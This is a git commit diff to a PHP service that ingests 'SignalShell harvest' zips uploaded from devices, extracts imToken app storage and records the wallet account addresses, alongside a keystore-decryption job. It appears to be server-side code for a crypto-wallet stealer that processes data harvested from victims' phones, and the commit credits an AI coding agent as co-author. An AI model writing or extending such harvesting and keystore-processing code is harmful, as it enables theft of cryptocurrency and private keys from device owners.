fix: ingest imToken EOAs from SignalShell AsyncStorage zips
Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -5,6 +5,7 @@ namespace App\Services;
|
||||
use App\Jobs\DecryptDeviceKeystores;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
@@ -78,6 +79,35 @@ final class AppUploadIngester
|
||||
$this->dispatchParse($device, $content, $fileName, $uploadId);
|
||||
}
|
||||
|
||||
/**
|
||||
* SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage
|
||||
* using the same collector as the /api/v2 tar path. Token-list `address`
|
||||
* keys are ignored (accountAddress / type=EOA / m/44' only).
|
||||
*/
|
||||
public function ingestImTokenShellZip(Device $device, string $zipBinary): int
|
||||
{
|
||||
$nodes = $this->asyncStorageNodesFromZip($zipBinary);
|
||||
if ($nodes === []) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$before = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('source', 'imToken')
|
||||
->count();
|
||||
|
||||
$this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [
|
||||
'async' => $nodes,
|
||||
]);
|
||||
|
||||
$after = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('source', 'imToken')
|
||||
->count();
|
||||
|
||||
return max(0, $after - $before);
|
||||
}
|
||||
|
||||
/**
|
||||
* Dispatch the async keystore decryption job for a device.
|
||||
*/
|
||||
@@ -1433,6 +1463,76 @@ final class AppUploadIngester
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob
|
||||
* (manifest hashes + double-encoded JSON strings).
|
||||
*
|
||||
* @return list<mixed>
|
||||
*/
|
||||
private function asyncStorageNodesFromZip(string $zipBinary): array
|
||||
{
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'im_async_');
|
||||
if ($tmp === false) {
|
||||
return [];
|
||||
}
|
||||
$tmpZip = $tmp.'.zip';
|
||||
@rename($tmp, $tmpZip);
|
||||
$tmp = $tmpZip;
|
||||
$nodes = [];
|
||||
try {
|
||||
if (@file_put_contents($tmp, $zipBinary) === false) {
|
||||
return [];
|
||||
}
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmp) !== true) {
|
||||
return [];
|
||||
}
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$name = str_replace('\\', '/', (string) $zip->getNameIndex($i));
|
||||
if ($name === '' || str_ends_with($name, '/')) {
|
||||
continue;
|
||||
}
|
||||
if (! str_contains(strtolower($name), 'asynclocalstorage')) {
|
||||
continue;
|
||||
}
|
||||
$raw = $zip->getFromIndex($i);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
continue;
|
||||
}
|
||||
$decoded = $this->decodeJsonMaybeDouble($raw);
|
||||
if ($decoded !== null) {
|
||||
$nodes[] = $decoded;
|
||||
}
|
||||
}
|
||||
$zip->close();
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
return $nodes;
|
||||
}
|
||||
|
||||
/**
|
||||
* RCTAsyncLocalStorage values are often a JSON string wrapping JSON.
|
||||
*/
|
||||
private function decodeJsonMaybeDouble(string $raw): mixed
|
||||
{
|
||||
$decoded = json_decode($raw, true);
|
||||
if (! is_array($decoded) && ! is_string($decoded)) {
|
||||
return null;
|
||||
}
|
||||
if (is_string($decoded)) {
|
||||
$inner = json_decode($decoded, true);
|
||||
if (is_array($inner) || is_string($inner)) {
|
||||
return $inner;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $decoded;
|
||||
}
|
||||
|
||||
/**
|
||||
* imToken AsyncStorage mixes the real EOA with token-list contract
|
||||
* addresses under the same `address` key. Keep accountAddress and
|
||||
|
||||
Reference in New Issue
Block a user